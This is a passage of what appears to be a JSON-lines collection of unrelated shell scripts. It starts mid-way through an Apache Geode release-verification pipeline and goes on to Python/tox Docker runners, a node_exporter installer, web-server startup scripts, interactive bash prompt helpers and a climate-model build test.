-DGEODE_ROOT=$PWD/../../apache-geode-${VERSION}\n cmake --build . -- -j 4\n cmake --build . --target docs -- -j 4\n cmake --build . --target install -- -j 4\n - name: build-geode-native-from-src-tar-gz\n serial: true\n plan:\n - aggregate:\n - get: geode-native\n trigger: true\n - get: geode\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 8\n inputs:\n - name: geode\n platform: linux\n run:\n path: /bin/sh\n args:\n - -ec\n - |\n set -ex\n FULL_VERSION=$(cd geode && git describe --tags | sed -e 's#^rel/v##')\n VERSION=$(echo $FULL_VERSION|sed -e 's/\\.RC.*//')\n # build geode from source\n cd geode\n ./gradlew build -x test -x javadoc -x rat -x pmdMain\n cd ..\n # needed to get cmake >= 3.12\n echo 'APT::Default-Release \"stable\";' >> /etc/apt/apt.conf.d/99defaultrelease\n echo 'deb http://ftp.de.debian.org/debian/ stable main contrib non-free' >> /etc/apt/sources.list.d/stable.list\n echo 'deb-src http://ftp.de.debian.org/debian/ stable main contrib non-free' >> /etc/apt/sources.list.d/stable.list\n echo 'deb http://security.debian.org/ stable/updates main contrib non-free' >> /etc/apt/sources.list.d/stable.list\n apt-get update\n DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends -y cmake openssl doxygen build-essential libssl-dev zlib1g-dev\n curl -s https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION}/apache-geode-native-${VERSION}-src.tar.gz > src.tgz\n tar xzf src.tgz\n cd apache-geode-native*\n mkdir build\n cd build\n cmake .. -DGEODE_ROOT=$PWD/../../geode/geode-assembly/build/install/apache-geode\n cmake --build . -- -j 4\n cmake --build . --target docs -- -j 4\n cmake --build . --target install -- -j 4\n - name: upthewaterspout\n serial: true\n plan:\n - aggregate:\n - get: geode\n trigger: true\n - get: upthewaterspout-tests\n - get: geode-examples\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 8\n inputs:\n - name: upthewaterspout-tests\n - name: geode-examples\n platform: linux\n run:\n path: /bin/sh\n args:\n - -ec\n - |\n set -ex\n FULL_VERSION=$(cd geode-examples && git describe --tags | sed -e 's#^rel/v##')\n VERSION=$(echo $FULL_VERSION|sed -e 's/\\.RC.*//')\n STAGING_MAVEN=$(cat geode-examples/gradle.properties | grep geodeRepositoryUrl | awk '{print $3}')\n cd upthewaterspout-tests\n curl -s https://dist.apache.org/repos/dist/dev/geode/KEYS > KEYS\n gpg --import KEYS\n java -version\n ./gradlew build -PmavenURL=${STAGING_MAVEN} -PdownloadURL=https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION}/ -Pversion=${FULL_VERSION}\n - name: verify-keys\n serial: true\n plan:\n - aggregate:\n - get: geode\n trigger: true\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 8\n inputs:\n - name: geode\n platform: linux\n run:\n path: /bin/bash\n args:\n - -ec\n - |\n set -ex\n FULL_VERSION=$(cd geode && git describe --tags | sed -e 's#^rel/v##')\n VERSION=$(echo $FULL_VERSION|sed -e 's/\\.RC.*//')\n curl -s https://dist.apache.org/repos/dist/dev/geode/KEYS > KEYS\n gpg --import KEYS\n url=https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION}\n function verifyArtifactSignature {\n file=$1\n echo Verifying $file...\n asc=${file}.asc\n sha=${file}.sha$2\n sum=sha${2}sum\n curl -s $url/$file > $file\n curl -s $url/$asc > $asc\n curl -s $url/$sha > $sha\n gpg --verify $asc\n $sum -c $sha\n }\n verifyArtifactSignature apache-geode-${VERSION}-src.tgz 256 \n verifyArtifactSignature apache-geode-${VERSION}.tgz 256\n verifyArtifactSignature apache-geode-examples-${VERSION}.tar.gz 256\n verifyArtifactSignature apache-geode-examples-${VERSION}.zip 256\n verifyArtifactSignature apache-geode-native-${VERSION}-src.tar.gz 512\nEOF\nfly -t concourse.apachegeode-ci.info-main login --team-name main --concourse-url https://concourse.apachegeode-ci.info/\nfly -t concourse.apachegeode-ci.info-main set-pipeline -p apache-release-${VERSION//./-}-rc -c $PIPEYML\nrm $PIPEYML"} {"text": "scripts/run_python.sh\n#!/bin/bash\n# Some links to read:\n# - http://pypy.org/download.html\n# - https://github.com/squeaky-pl/portable-pypy#portable-pypy-distribution-for-linux\n# - http://doc.pypy.org/en/latest/install.html\nPROMPT=\"run_python.sh :: \"\n\n## @fn init_py27\n## Installation of Python 2.7.x from the devtoolset.\nfunction init_py27() {\n yum -y install centos-release-scl yum-utils\n yum-config-manager --enable rhel-server-rhscl-7-rpms\n yum -y install python27\n scl enable python27 \"bash -c \\\"pip install setuptools --upgrade\\\"\"\n scl enable python27 \"bash -c \\\"pip install tox\\\"\"\n scl enable python27 \"bash -c \\\"/docker/scripts/run_python.sh RUN\\\"\"\n}\n\n## @fn init_py33\n## Installation of Python 3.3.x from the devtoolset.\nfunction init_py33() {\n yum -y install centos-release-scl yum-utils\n yum-config-manager --enable rhel-server-rhscl-7-rpms\n yum -y install python33\n scl enable python33 \"bash -c \\\"easy_install pip\\\"\"\n scl enable python33 \"bash -c \\\"pip install pip --upgrade\\\"\"\n scl enable python33 \"bash -c \\\"pip install setuptools --upgrade\\\"\"\n scl enable python33 \"bash -c \\\"pip install tox\\\"\"\n scl enable python33 \"bash -c \\\"/docker/scripts/run_python.sh RUN\\\"\"\n}\n\n## @fn init_py34\n## Installation of Python 3.4.x from the devtoolset.\nfunction init_py34() {\n yum -y install centos-release-scl yum-utils\n yum-config-manager --enable rhel-server-rhscl-7-rpms\n yum -y install rh-python34\n scl enable rh-python34 \"bash -c \\\"pip install pip --upgrade\\\"\"\n scl enable rh-python34 \"bash -c \\\"pip install setuptools --upgrade\\\"\"\n scl enable rh-python34 \"bash -c \\\"pip install tox\\\"\"\n scl enable rh-python34 \"bash -c \\\"/docker/scripts/run_python.sh RUN\\\"\"\n}\n\n## @fn init_py35\n## Installation of Python 3.5.x from the devtoolset.\nfunction init_py35() {\n yum -y install centos-release-scl yum-utils\n yum-config-manager --enable rhel-server-rhscl-7-rpms\n yum -y install rh-python35\n scl enable rh-python35 \"bash -c \\\"pip install pip --upgrade\\\"\"\n scl enable rh-python35 \"bash -c \\\"pip install setuptools --upgrade\\\"\"\n scl enable rh-python35 \"bash -c \\\"pip install tox\\\"\"\n scl enable rh-python35 \"bash -c \\\"/docker/scripts/run_python.sh RUN\\\"\"\n}\n\n## @fn init_py36\n## Installation of Python 3.6.x; here we require a build since there has been no devtoolset available.\nfunction init_py36() {\n yum -y install wget gcc make openssl-devel\n wget -q https://www.python.org/ftp/python/3.6.1/Python-3.6.1.tar.xz\n tar -xf $(ls Python*.tar.xz)\n cd Python*\n ./configure\n make && make altinstall\n ln -s /usr/local/bin/pip3.6 /usr/local/bin/pip\n pip install pip --upgrade\n pip install setuptools --upgrade\n pip install tox\n $0 RUN\n}\n\n\n## @fn init_pypy\n## Installation of PyPy with Python 2.7.x compatible version.\nfunction init_pypy() {\n yum -y install wget bzip2\n echo \"${PROMPT}Downloading pypy (Python 2.7 compatible) ...\"\n wget -q https://bitbucket.org/squeaky/portable-pypy/downloads/pypy-5.7.1-linux_x86_64-portable.tar.bz2\n echo \"${PROMPT}unpacking pypy (Python 2.7 compatible) to /opt ...\"\n tar -xvjf $(ls pypy*.tar.bz2) -C /opt > /dev/null\n ln -s /opt/$(ls /opt|grep pypy) /opt/pypy\n ln -s /opt/pypy/bin/pypy /usr/local/bin/pypy\n ln -s /opt/pypy/bin/virtualenv-pypy /usr/local/bin/virtualenv\n pypy -m ensurepip\n ln -s /opt/pypy/bin/pip2 /usr/local/bin/pip\n pip install pip --upgrade\n pip install setuptools --upgrade\n pip install tox\n ln -s /opt/pypy/bin/tox /usr/local/bin/tox\n $0 RUN\n}\n\n## @fn init_pypy3\n## Installation of PyPy with Python 3.5 compatible version.\nfunction init_pypy3() {\n yum -y install wget bzip2\n echo \"${PROMPT}Downloading pypy (Python 3.5 compatible) ...\"\n wget -q https://bitbucket.org/squeaky/portable-pypy/downloads/pypy3.5-5.8-beta-linux_x86_64-portable.tar.bz2\n echo \"${PROMPT}unpacking pypy (Python 3.5 compatible) to /opt ...\"\n tar -xvjf $(ls pypy3*.tar.bz2) -C /opt > /dev/null\n ln -s /opt/$(ls /opt|grep pypy) /opt/pypy\n ln -s /opt/pypy/bin/pypy /usr/local/bin/pypy\n ln -s /opt/pypy/bin/virtualenv-pypy /usr/local/bin/virtualenv\n pypy -m ensurepip\n ln -s /opt/pypy/bin/pip3 /usr/local/bin/pip\n pip install pip --upgrade\n pip install setuptools --upgrade\n pip install tox\n ln -s /opt/pypy/bin/tox /usr/local/bin/tox\n $0 RUN\n}\n\nif [ $# -eq 0 ]; then\n set -euo pipefail\n IFS=$'\\n\\t'\n\n echo \"PWD=$PWD\"\n docker run --rm=true -v $PWD:/docker \\\n -e \"CI=yes\" \\\n -e \"UID=$(id -u)\" -e \"UPWD=$PWD\" \\\n -e \"PYTHON_VERSION=$PYTHON_VERSION\" \\\n -i centos:7.3.1611 /docker/scripts/run_python.sh INIT\nelse\n case $1 in\n INIT)\n echo \"${PROMPT} Init phase ...\"\n case ${PYTHON_VERSION} in\n py27)\n init_py27;\n ;;\n py33)\n init_py33;\n ;;\n py34)\n init_py34\n ;;\n py35)\n init_py35;\n ;;\n py36)\n init_py36;\n ;;\n pypy)\n init_pypy;\n ;;\n pypy3)\n init_pypy3;\n ;;\n *)\n echo \"${PROMPT}Python version '${PYTHON_VERSION}' not known or not supported!\"\n exit 1\n ;;\n\n esac\n ;;\n RUN)\n echo \"${PROMPT} Copy phase ...\"\n mkdir -p /work\n cd /work\n cp -r /docker/* .\n echo \"${PROMPT} What we have available at /work in the container:\"\n ls -al /work\n\n pip -V\n\n if [ \"${CI:-}\" == \"yes\" ]; then\n echo \"${PROMPT} Run phase ...\"\n if [ -e /usr/local/bin/pypy ]; then\n pypy -V\n tox -e pypy\n else\n python -V\n tox -e ${PYTHON_VERSION}\n fi\n\n sed -i \"s:/work/concept/:${UPWD}/concept/:g\" .coverage\n cp .coverage /docker\n chown -R ${UID} /docker/.coverage\n fi\n ;;\n BASH)\n docker run --name=pydev -v $PWD:/docker \\\n -e \"UID=$(id -u)\" \\\n -it centos:7.3.1611 bash\n ;;\n esac\nfi"} {"text": "#!/usr/bin/env bash\n\n# install node_exporter\nset -eu\nOS=$(uname -s)\nos=$(echo \"$OS\" | awk '{print tolower($0)}')\n\n# node_exporter version: 0.18.1/2019-06-04\nURL_node_exporter_linux=https://github.com/prometheus/node_exporter/releases/download/v0.18.1/node_exporter-0.18.1.linux-amd64.tar.gz\n\n# download and decompress the node exporter in the tmp folder\necho \"downloading node_exporter ...\"\ncurl -LO $URL_node_exporter_linux\ntar -xvf node_exporter-0.18.1.$os-amd64.tar.gz\n# add a servcie account for node_exporter\necho \"adding user node_exporter ...\"\nid -u node_exporter &>/dev/null || sudo useradd -rs /bin/false node_exporter\n\n\n# move the node export binary to /usr/local/bin\necho \"moving files into /usr/local/bin/ folder ...\"\nmv -f node_exporter-0.18.1.$os-amd64/node_exporter /usr/local/bin/\n\n# create a node_exporter service file under systemd\nnode_exporter_service=/etc/systemd/system/node_exporter.service # Linux only\necho \"creating node exporter service file ...\"\necho \"[Unit]\nDescription=Node Exporter\nAfter=network.target\n[Service]\nUser=node_exporter\nGroup=node_exporter\nType=simple\nExecStart=/usr/local/bin/node_exporter\n[Install]\nWantedBy=multi-user.target\" >$node_exporter_service\n\n\n# junk files clean up on home dir\nrm -rf node_exporter-0.18.1.linux-amd64*\n\nsudo systemctl daemon-reload\nsudo systemctl start node_exporter\n\n#enable the node exporter servie to the system startup\nsudo systemctl enable node_exporter"} {"text": "roslaunch ./src/ard_autopilot/launch/landing_yard_gazebo.launch\nrosrun rqt_reconfigure rqt_reconfigure"} {"text": "duxiaofeng-github/schedule-mailenv.sh\nGOPATH=`pwd`\nexport GOPATH"} {"text": "cd /src \npython3 manage.py makemigrations \npython3 manage.py migrate\npython3 manage.py collectstatic --no-input \npython3 manage.py shell < /docker/set_domain_name.py \n\nnginx -c /docker/nginx.conf -g \"pid /tmp/nginx.pid;\"\n\nuwsgi --socket :8000 --master --enable-threads --module config.wsgi"} {"text": "np/hlatex\ncurrent_nixpkgs=$HOME/hub/np/nixpkgs\n[ ! -d \"$current_nixpkgs\" ] || export NIX_PATH=nixpkgs=$current_nixpkgs"} {"text": "shell_scripts/init_utilities.sh\n#!/bin/bash\n\n###################### COPYRIGHT/COPYLEFT ######################\n\n# (C) 2020 \n\n# Released to the public under the\n# Creative Commons CC0 1.0 Universal License\n# See https://creativecommons.org/publicdomain/zero/1.0/legalcode.txt\n\n###################### UTILITY FUNCTIONS #####################\n\n# ------------------------------------------------------------------------------\n# Convert a version string in A.B.C.D format to a comparable number\n# - the version string may have up to 4 components\n# - each component may have up to 2 digits\n#\n# Parameters\n# $1 version string\n# ------------------------------------------------------------------------------\n\nfunction version_to_number {\n printf \"%d%02d%02d%02d\" $(echo \"$1\" | tr '.' ' ');\n}\n\n# ------------------------------------------------------------------------------\n# Check if a command is available\n#\n# Parameters\n# $1 command ro check for, e.g. gcc, clang, curl\n# ------------------------------------------------------------------------------\n\nfunction check_command_available {\n if ! command -v \"$1\" &> /dev/null\n then\n echo \"=========================== Missing prerequisite ============================\"\n echo \"This script requires command '$1' to be installed.\"\n echo \"Please install this command manually using your system's package manager!\"\n echo \"This script will exit now.\"\n echo \"Please restart the script after you installed '$1'.\"\n echo \"=========================== Missing prerequisite ============================\"\n return 1\n fi\n}\n\n# ------------------------------------------------------------------------------\n# Ask a one option + cancel question\n# Set environment variable ANSWER to the result\n#\n# $1 message\n# $2 option 1 keys (only first is shown - this is also the return value)\n# $3 option 1 text\n#\n# Example: ask_user_opt1_cancel \"Disable sandbox (d) or cancel (c)?\" dD \"dsiable sandbox\"\n# ------------------------------------------------------------------------------\n\nfunction ask_user_opt1_cancel {\n while true; do\n read -p \"$1 (${2:0:1}/c=cancel) \" answer\n case \"$answer\" in\n [$2] ) ANSWER=${2:0:1}; echo; return 0 ;;\n [cC] ) return 1 ;;\n * ) echo \"Please answer '${2:0:1}'=$3 or 'c'=cancel/exit.\";;\n esac\n done\n}\n\n# ------------------------------------------------------------------------------\n# Ask a two option + cancel question\n# Set environment variable ANSWER to the result\n#\n# $1 message\n# $2 option 1 keys (only first is shown - this is also the return value)\n# $3 option 1 text\n# $4 option 2 keys (only first is shown - this is also the return value)\n# $5 option 2 text\n#\n# Example: ask_user_opt2_cancel \"Shall the existing switch be kept (k) or deleted (d) ?\" kK \"keep\" dD \"delete\"\n# ------------------------------------------------------------------------------\n\nfunction ask_user_opt2_cancel {\n while true; do\n read -p \"$1 (${2:0:1}/${4:0:1}/c=cancel) \" answer\n case \"$answer\" in\n [$2] ) ANSWER=${2:0:1}; echo; return 0 ;;\n [$4] ) ANSWER=${4:0:1}; echo; return 0 ;;\n [cC] ) return 1 ;;\n * ) echo \"Please answer '${2:0:1}'=$3, ${4:0:1}'=$5 or 'c'=cancel/exit.\";;\n esac\n done\n}\n\n# ------------------------------------------------------------------------------\n# Ask a three option + cancel question\n# Set environment variable ANSWER to the result\n#\n# $1 message\n# $2 option 1 keys (only first is shown - this is also the return value)\n# $3 option 1 text\n# $4 option 2 keys (only first is shown - this is also the return value)\n# $5 option 2 text\n# $6 option 3 keys (only first is shown - this is also the return value)\n# $7 option 3 text\n#\n# Example: see ask_user_opt2_cancel and add 2 more arguments\n# ------------------------------------------------------------------------------\n\nfunction ask_user_opt3_cancel {\n while true; do\n read -p \"$1 (${2:0:1}/${4:0:1}/${6:0:1}/c=cancel) \" answer\n case \"$answer\" in\n [$2] ) ANSWER=${2:0:1}; echo; return 0 ;;\n [$4] ) ANSWER=${4:0:1}; echo; return 0 ;;\n [$6] ) ANSWER=${6:0:1}; echo; return 0 ;;\n [cC] ) return 1 ;;\n * ) echo \"Please answer '${2:0:1}'=$3, ${4:0:1}'=$5, ${6:0:1}'=$7 or 'c'=cancel/exit.\";;\n esac\n done\n}\n\n# ------------------------------------------------------------------------------\n# Ask a four option + cancel question\n# Set environment variable ANSWER to the result\n#\n# $1 message\n# $2 option 1 keys (only first is shown - this is also the return value)\n# $3 option 1 text\n# $4 option 2 keys (only first is shown - this is also the return value)\n# $5 option 2 text\n# $6 option 3 keys (only first is shown - this is also the return value)\n# $7 option 3 text\n# $8 option 4 keys (only first is shown - this is also the return value)\n# $9 option 4 text\n#\n# Example: see ask_user_opt2_cancel and add 2x2 more arguments\n# ------------------------------------------------------------------------------\n\nfunction ask_user_opt4_cancel {\n while true; do\n read -p \"$1 (${2:0:1}/${4:0:1}/${6:0:1}/${8:0:1}/c=cancel) \" answer\n case \"$answer\" in\n [$2] ) ANSWER=${2:0:1}; echo; return 0 ;;\n [$4] ) ANSWER=${4:0:1}; echo; return 0 ;;\n [$6] ) ANSWER=${6:0:1}; echo; return 0 ;;\n [$8] ) ANSWER=${8:0:1}; echo; return 0 ;;\n [cC] ) return 1 ;;\n * ) echo \"Please answer '${2:0:1}'=$3, ${4:0:1}'=$5, ${6:0:1}'=$7, ${8:0:1}'=$9 or 'c'=cancel/exit.\";;\n esac\n done\n}\n\n# ------------------------------------------------------------------------------\n# Ask for a number\n#\n# $1 message\n# $2 lower\n# $3 upper\n# ------------------------------------------------------------------------------\n\nfunction ask_user_number {\n while true; do\n read -p \"$1 (number in $2..$3, c=cancel) \" answer\n case \"$answer\" in\n [cC] ) return 1 ;;\n esac\n if [ \"$2\" -le \"$answer\" ] && [ \"$answer\" -le \"$3\" ]\n then\n ANSWER=\"$answer\"\n echo\n return 0\n else\n echo \"Please enter a number between $2 and $3 or c to cancel\"\n fi\n done\n}\n\n# ------------------------------------------------------------------------------\n# Determine the total and available RAM in kbyte\n#\n# results are stored in MEM_TOTAL and MEM_AVAIL\n# ------------------------------------------------------------------------------\n\nfunction get_memory_info {\n if [[ \"$OSTYPE\" == linux* ]]\n then\n echo \"TODO: unimplemented\"\n return 1\n elif [[ \"$OSTYPE\" == darwin* ]]\n then\n MEM_TOTAL=$(echo $(sysctl hw.memsize | awk '{print $2}') / 1024 | bc)\n MEM_AVAIL=$(echo '(' $(sysctl vm.page_free_count | awk '{print $2}') '+' $(sysctl vm.page_speculative_count | awk '{print $2}') ') * 4' | bc)\n elif [[ \"$OSTYPE\" == cygwin ]]\n then\n echo \"TODO: unimplemented\"\n return 1\n else\n echo \"ERROR: unsopported OS type '$OSTYPE'\"\n return 1\n fi\n}\n\n# ------------------------------------------------------------------------------\n# Check value against an enumeration argument\n# The value __unset__, which should be substituted for unset variables is valid.\n#\n# $1: value to check\n# $2: bash pattern as used in case\n# $3: item name for error message\n# ------------------------------------------------------------------------------\n\nfunction check_value_enumeraton {\n case \"$1\" in\n $2) return 0;;\n __unset__) return 0;;\n *) echo \"ERROR: Illegal value $1 for $3. Valid is '$2'.\"; return 1;;\n esac\n}\n\n# ------------------------------------------------------------------------------\n# Check value against a number range\n#\n# $1: value to check\n# $2: lower bound\n# $3: upper bound\n# $4: item name for error message\n# ------------------------------------------------------------------------------\n\nfunction check_value_range {\n if [ \"$1\" == \"__unset__\" ]\n then\n return 0\n fi\n if [ \"$1\" -lt \"$2\" ] || [ \"$1\" -gt \"$3\" ]\n then\n echo \"ERROR: Illegal value $1 for $4. Valid is '$2..$3'.\"\n return 1\n fi\n}\n\n# ------------------------------------------------------------------------------\n# Check if a file given in a variable exists\n#\n# $1: value to check\n# $2: item name for error message\n# ------------------------------------------------------------------------------\n\nfunction check_value_file_exists {\n if [ \"$1\" == \"__unset__\" ]\n then\n return 0\n fi\n if [ ! -f \"$1\" ]\n then\n echo \"ERROR: File $1 for option $2 does not exists.\"\n return 1\n fi\n\n}"} {"text": "1-10\n#!/usr/bin/env bash\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\ncd ${DIR}/..\n\necho \"### SSH to nginx ###\"\ndocker-compose up -d nginx\ndocker-compose exec nginx bash"} {"text": "echo \"This script creates a file showing the difference between\"\necho \"the output of creating the NWB files and validating them.\"\necho\necho \"It should only be run after runing scripts:\"\necho \"../create_scripts/run_all.sh and validate_all.py\"\necho\necho \"Except for some warning messages, and any extra output\"\necho \"generated by create scripts, the result of the diff should\"\necho \"show that the output are mostly the same. If it is not,\"\necho \"the diffrence may indicate there is a bug in the software.\"\n\ndiff -r ../text_output_files/create -x 0_README.txt ../text_output_files/validate > ../text_output_files/diff/cv_diff.txt\n\necho\necho \"done creating diff.\"\necho \"It is stored in file '../text_output_files/diff/cv_diff.txt'\""} {"text": "#!/bin/bash\n\nset -eu\n\ncargo test --all \"$@\"\ncargo test --all \"$@\" --features=\"default serialize base64_format binary_propagator\"\n\n# See https://github.com/rust-lang/cargo/issues/5364\ncargo test --manifest-path=opentelemetry-contrib/Cargo.toml --all-features"} {"text": "chumakovvchuma/cezerin-docker\n#!/bin/sh\nset -e\n\nnginx\nexec pm2 start process.json --no-daemon"} {"text": "#!/bin/sh\n\n# Code is from following repo:\n# https://github.com/markasoftware/bing-wallpaper-linux \n\nimgurl=\"https://www.bing.com$( \\\ncurl \"https://www.bing.com/HPImageArchive.aspx?format=rss&idx=0&n=1&mkt=en-US\" \\\n| xmllint --xpath \"/rss/channel/item/link/text()\" - \\\n)\"\n\ncurl -sS $imgurl -o ~/.config/i3/tmp/background.jpg\nfeh --bg-scale ~/.config/i3/tmp/background.jpg"} {"text": "E3SM-Project/iESM\n#!/bin/sh \n#\n\nif [ $# -ne 2 ]; then\n echo \"TCB.sh: incorrect number of input arguments\" \n exit 1\nfi\n\nconfile=${1%+*}\nusrmech=${1#*+}\n\ntest_name=TCB.${1}\n\nif [ -f ${CAM_TESTDIR}/${test_name}/TestStatus ]; then\n if grep -c PASS ${CAM_TESTDIR}/${test_name}/TestStatus > /dev/null; then\n echo \"TCB.sh: configure and build test has already passed; results are in \"\n\techo \" ${CAM_TESTDIR}/${test_name}\" \n exit 0\n else\n\tread fail_msg < ${CAM_TESTDIR}/${test_name}/TestStatus\n prev_jobid=${fail_msg#*job}\n\n\tif [ $JOBID = $prev_jobid ]; then\n echo \"TCB.sh: configure and build test has already failed for this job - will not reattempt; \"\n\t echo \" results are in: ${CAM_TESTDIR}/${test_name}\" \n\t exit 2\n\telse\n\t echo \"TCB.sh: this configure and build test failed under job ${prev_jobid} - moving those results to \"\n\t echo \" ${CAM_TESTDIR}/${test_name}_FAIL.job$prev_jobid and trying again\"\n cp -rp ${CAM_TESTDIR}/${test_name} ${CAM_TESTDIR}/${test_name}_FAIL.job$prev_jobid\n fi\n if [ $2 = \"run_only\" ]; then\n echo \"TCB.sh: CAM_RBOPTIONS set to run_only, this test needs to be built. Try build_only or run_and_build\"\n exit 2\n fi\n\n fi\nelse\n if [ $2 = \"run_only\" ]; then\n echo \"TCB.sh: CAM_RBOPTIONS set to run_only, this test needs to be built. Try build_only or run_and_build\"\n exit 2\n fi\nfi\n\ncfgdir=${CAM_SCRIPTDIR}/../../bld\nblddir=${CAM_TESTDIR}/${test_name}\nif [ -d ${blddir} ]; then\n rm -rf ${blddir}\nfi\nmkdir -p ${blddir} \nif [ $? -ne 0 ]; then\n echo \"TCB.sh: error, unable to create work subdirectory\" \n exit 3\nfi\ncd ${blddir}\n\nif [ ! -f ${CAM_SCRIPTDIR}/config_files/${confile} ]; then\n echo \"TCB.sh: configure options file ${CAM_SCRIPTDIR}/config_files/${confile} not found\" \n echo \"FAIL.job${JOBID}\" > TestStatus\n exit 4\nfi\n\n##construct string of args to configure\nconfig_string=$CFG_STRING \nwhile read config_arg; do\n config_string=\"${config_string}${config_arg} \"\ndone < ${CAM_SCRIPTDIR}/config_files/${confile}\n\n## task and thread_flags needed so scam test (nospmd, nosmp) can get proper cice decomposition \nif grep -ic nospmd ${CAM_SCRIPTDIR}/config_files/${confile} > /dev/null; then\n task_flag=1\n thrd_flag=1\nelse\n if grep -ic '\\-smp' ${CAM_SCRIPTDIR}/config_files/${confile} > /dev/null; then\n task_flag=$CAM_TASKS\n thrd_flag=$CAM_THREADS\n config_string=\"${config_string} -ntasks ${task_flag} -nthreads ${thrd_flag} \"\n else\n\ttask_flag=`expr $CAM_TASKS \"*\" $CAM_THREADS / 2`\n thrd_flag=2\n config_string=\"${config_string} -ntasks ${task_flag} \"\n fi\nfi\n\n\n# chemistry preprocessor\nif [ $usrmech != $1 ];then\n config_string=\"${config_string} -usr_mech_infile ${CAM_SCRIPTDIR}/config_files/$usrmech\"\nfi\n\necho \"TCB.sh: building cam executable; output in ${CAM_TESTDIR}/${test_name}/test.log\" \n\nattempt=1\nstill_compiling=\"TRUE\"\nwhile [ $still_compiling = \"TRUE\" ]; do\n\n echo \"TCB.sh: call to configure:\" \n echo \" ${cfgdir}/configure ${config_string}\" \n\n ${cfgdir}/configure ${config_string} > test.log 2>&1\n rc=$?\n if [ $rc -eq 0 ]; then\n\techo \"TCB.sh: configure was successful\" \n else\n\techo \"TCB.sh: cam configure failed, error from configure= $rc\" \n\techo \"TCB.sh: see ${CAM_TESTDIR}/${test_name}/test.log for details\"\n\techo \"FAIL.job${JOBID}\" > TestStatus\n\texit 5\n fi\n\n echo \"TCB.sh: call to make:\" \n echo \" ${MAKE_CMD}\" \n ${MAKE_CMD} >> test.log 2>&1\n rc=$?\n if [ $rc -eq 0 ]; then\n\techo \"TCB.sh: make was successful\" \n\techo \"TCB.sh: configure and build test passed\"\n\techo \"PASS\" > TestStatus\n\tif [ $CAM_RETAIN_FILES != \"TRUE\" ]; then\n\t echo \"TCB.sh: removing some unneeded files to save disc space\" \n\t rm *.o\n\t rm *.mod\n\tfi\n\tstill_compiling=\"FALSE\"\n elif [ $attempt -lt 10 ] && \\\n grep -c \"LICENSE MANAGER PROBLEM\" test.log > /dev/null; then\n attempt=`expr $attempt + 1`\n echo \"TCB.sh: encountered License Manager Problem; launching attempt #$attempt\"\n else\n\techo \"TCB.sh: cam build failed, error from make= $rc\" \n\techo \"TCB.sh: see ${CAM_TESTDIR}/${test_name}/test.log for details\"\n\techo \"FAIL.job${JOBID}\" > TestStatus\n\texit 6\n fi\ndone\n\nexit 0"} {"text": "shellfunc/src/base/31-loadscript_simple.sh1-10\n## Copyright (c) 2014-2015 <>\n##\n## Distributed under the terms of the MIT license.\n## (See LICENSE.MIT or http://opensource.org/licenses/MIT)\n##\n\n## int __loadscript_simple_set_file_vars ( file_arg )\n__loadscript_simple_set_file_vars() {\n case \"${1:?}\" in\n */)\n return @@EX_USAGE@@\n ;;\n */*)\n __DIR__=\"${1%/*}\"\n __FILE__=\"${1}\"\n __FNAME__=\"${__FILE__##*/}\"\n ;;\n *)\n __DIR__=\"${PWD:?}\"\n __FILE__=\"${__DIR__}/${1}\"\n __FNAME__=\"${1}\"\n ;;\n esac\n __NAME__=\"${__FNAME__%.*}\"\n}\n\n\n## int loadscript_simple ( file_arg )\n##\nloadscript_simple() {\n <%%locals __FILE__ __FNAME__ __NAME__ __DIR__ %>\n\n __loadscript_simple_set_file_vars \"${1:?}\" && shift || return ${?}\n ## note that \"test -f\" filters out devices, pipes,\n ## but also \"/proc/self/fd/0\" (stdin)\n [ -f \"${__FILE__:?}\" ] || return 1\n\n . \"${__FILE__}\"\n}\n\n## @autodie loadscript_simple_or_die (...)\n##\nloadscript_simple_or_die() {\n loadscript_simple \"${@}\" || die \"Failed to load script '${1:-???}'.\"\n}\n\n## @autodie loadscript_simple_if_exists_or_die ( file_arg )\nloadscript_simple_if_exists_or_die() {\n <%%locals __FILE__ __FNAME__ __NAME__ __DIR__ %>\n\n __loadscript_simple_set_file_vars \"${1:?}\" && shift || return ${?}\n ## note that \"test -f\" filters out devices, pipes,\n ## but also \"/proc/self/fd/0\" (stdin)\n [ -f \"${__FILE__:?}\" ] || return 0\n\n . \"${__FILE__}\"\n}\n\n\n\n## int runscript_simple ( file_arg )\n##\nrunscript_simple() {\n <%%locals __FILE__ __FNAME__ __NAME__ __DIR__ %>\n\n __loadscript_simple_set_file_vars \"${1:?}\" && shift || return ${?}\n ## note that \"test -f\" filters out devices, pipes,\n ## but also \"/proc/self/fd/0\" (stdin)\n [ -f \"${__FILE__:?}\" ] || return 1\n\n ( . \"${__FILE__}\"; )\n}\n\n## int runscript_simple_or_die (...)\n##\nrunscript_simple_or_die() {\n runscript_simple \"${@}\" || die \"Failed to run script '${1:-???}'.\"\n}"} {"text": "1-10\n#!/bin/sh\nfind . -name '*.jpg' -execdir mogrify -resize 53x40! {} \\;\nfind . -name '*.jpg' -execdir mogrify -crop 53x27+0+13 {} \\;"} {"text": "#!/bin/bash -e\n\n\nLOGS_PHP=(/tmp/appsec.log /tmp/helper.log /tmp/php_error.log)\ntouch \"${LOGS_PHP[@]}\"\nchown www-data:www-data \"${LOGS_PHP[@]}\"\n\nLOGS_APACHE=(/var/log/apache2/{access.log,error.log})\ntouch \"${LOGS_APACHE[@]}\"\nchown root:adm \"${LOGS_APACHE[@]}\"\n\nenv | sed 's/^/export /' >> /etc/apache2/envvars\n\nservice apache2 start\n\nexec tail -f \"${LOGS_PHP[@]}\" \"${LOGS_APACHE[@]}\""} {"text": "CodeArcsInc/logstack\n#! /bin/bash\n\nELASTICSEARCH=\"$TODO_ELASTICSEARCH_ENDPOINT\"\n\n/usr/bin/nodejs /opt/proxy \"$ELASTICSEARCH\""} {"text": "security/REVERSE1/build.sh\n# 32 bits\ngcc -m32 -o binaries/reflexes reflexes.c\n# 32 bits\ngcc -m32 -o binaries/translate_me translate_me.c\n# 32 bits\ngcc -m32 -o binaries/iamfullrandom iamfullrandom.c\n# 64 bits + stripped\ngcc -s -o binaries/stripped stripped.c\n# 